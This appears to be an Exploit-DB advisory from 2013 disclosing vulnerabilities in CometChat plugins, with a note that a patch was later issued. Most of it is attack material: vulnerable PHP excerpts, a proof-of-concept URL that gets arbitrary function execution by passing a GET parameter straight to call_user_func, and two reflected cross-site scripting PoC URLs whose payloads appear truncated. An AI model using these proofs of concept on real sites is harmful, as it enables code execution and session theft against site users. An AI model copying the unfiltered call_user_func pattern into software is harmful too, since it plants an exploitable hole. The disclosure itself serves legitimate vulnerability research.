##################################### > < > #### #### ### #### ### < > # # # # # # ### < > # #### ### # # ### < > # # ## # # ### < > #### #### # # #### ### < ### > #### #### # #### # ##### ### < > # # # # # # # # ### < > #### #### # # # # # < > # # # # # # # ### < > #### # #### #### # # ### < > < ##################################### # Exploit-DB Note 20-02-2013: # A security patch appears to have been released to address the issue: # http://www.cometchat.com/blog/cometchat-critical-security-update/ Info: All Cometchat Application Multiple Vulnerabilities Cometchat is a application which can be used in many site for example phpFox, Wordpress, Joomla, MyBB, Elgg etc. Homepage : http://www.cometchat.com Author: z3r0sPlOiT Date: 17.02.2013 Special Thanks: I would like to thank B127Y. He already found two vulnerabilities for Cometchat and because of this I started my research. 1.)Code Execution P0C (plugins/otavchat/invite.php) 194: call_user_func call_user_func($_GET['action']); Can use all php functions and cometchat function without arguments Live Demo: http://server/cometchat/plugins/otavchat/invite.php?action=phpinfo 2.)XSS P0C (plugins/otavchat/invite.php) 137: echo echo <<
{$otavchat_language[16]}
{$s['available']}{$s['away']}{$s['offline']}
EOD; 87: $id = $_GET['roomid']; Live Demo: http://server/cometchat/plugins/otavchat/invite.php?roomid=">
3. XXS P0C (plugins/filetransfer/index.php) 87: echo echo <<
{$filetransfer_language[0]}
{$filetransfer_language[1]}
{$filetransfer_language[2]}
{$filetransfer_language[4]}
{$filetransfer_language[3]}
EOD; 79: $toId = $_GET['id']; Live Demo: http://server/cometchat/plugins/filetransfer/index.php?id=">